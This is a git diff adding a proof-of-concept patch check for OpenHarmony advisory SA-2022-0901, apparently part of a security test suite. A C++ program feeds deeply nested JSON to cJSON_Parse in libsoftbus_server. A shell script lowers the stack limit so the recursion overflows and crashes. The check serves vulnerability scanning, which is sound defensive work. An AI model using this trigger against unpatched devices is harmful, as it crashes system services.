diff --git a/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp new file mode 100644 index 0000000000000000000000000000000000000000..8b7bc2bdfd0e91db79e20d3b65b1345a0e0e7376 --- /dev/null +++ b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp @@ -0,0 +1,69 @@ +/* + * Copyright (c) 2023 Huawei Device Co., Ltd. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include +#include +#include + +/* The cJSON structure: */ +typedef struct cJSON +{ + struct cJSON *next; + struct cJSON *prev; + struct cJSON *child; + int type; + char *valuestring; + int valueint; + double valuedouble; + char *string; +} cJSON; + +int main() +{ + void *handle; + // 打开共享库libsoftbus_server.z.so + handle = dlopen("/system/lib/libsoftbus_server.z.so", RTLD_LAZY); + if (!handle) + { + fprintf(stderr, "Error: %s\n", dlerror()); + return 1; + } + + // 获取函数cJSON_Parse地址 + typedef cJSON* (*Func)(char*); + Func cJSON_Parse = reinterpret_cast(dlsym(handle, "cJSON_Parse")); + if (cJSON_Parse == NULL) { + fprintf(stderr, "Error: %s\n", dlerror()); + dlclose(handle); + return 1; + } + + // 准备一个具有900层嵌套结构的json数据 + char *json_string = "{\"a\":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]}"; + + cJSON *root = cJSON_Parse(json_string); // cJSON_Parse方法解析json数据 + if (root == NULL) + { + // 解析json数据返回值为null,说明设置了最大嵌套层数,修复了漏洞 + printf("OpenHarmony-SA-2022-0901 : not vulnerable\n"); + return 1; + } + // 返回值不为null,没有修复漏洞,应该收到signal 11段错误提示 + printf("OpenHarmony-SA-2022-0901 : vulnerable\n"); + printf("But the vulnerability trigger failed\n"); + + return 0; +} + diff --git a/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh new file mode 100644 index 0000000000000000000000000000000000000000..3636c48f8e672628d846e62c7d1336042ad9048f --- /dev/null +++ b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh @@ -0,0 +1,23 @@ +#!/bin/bash +# Copyright (C) 2023 Huawei Device Co., Ltd. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +#//OpenHarmony标准系统中cJSON库解析900层的嵌套json数据大概会占用60KB栈空间 +#修改栈的存储上限,模拟栈资源紧缺的情况,便于触发栈溢出 +#或者也可以继续增加嵌套的层数,使栈溢出,每增加一层会多占用64B的栈空间 +ulimit -s 60 + +#运行poc可执行程序 +./poc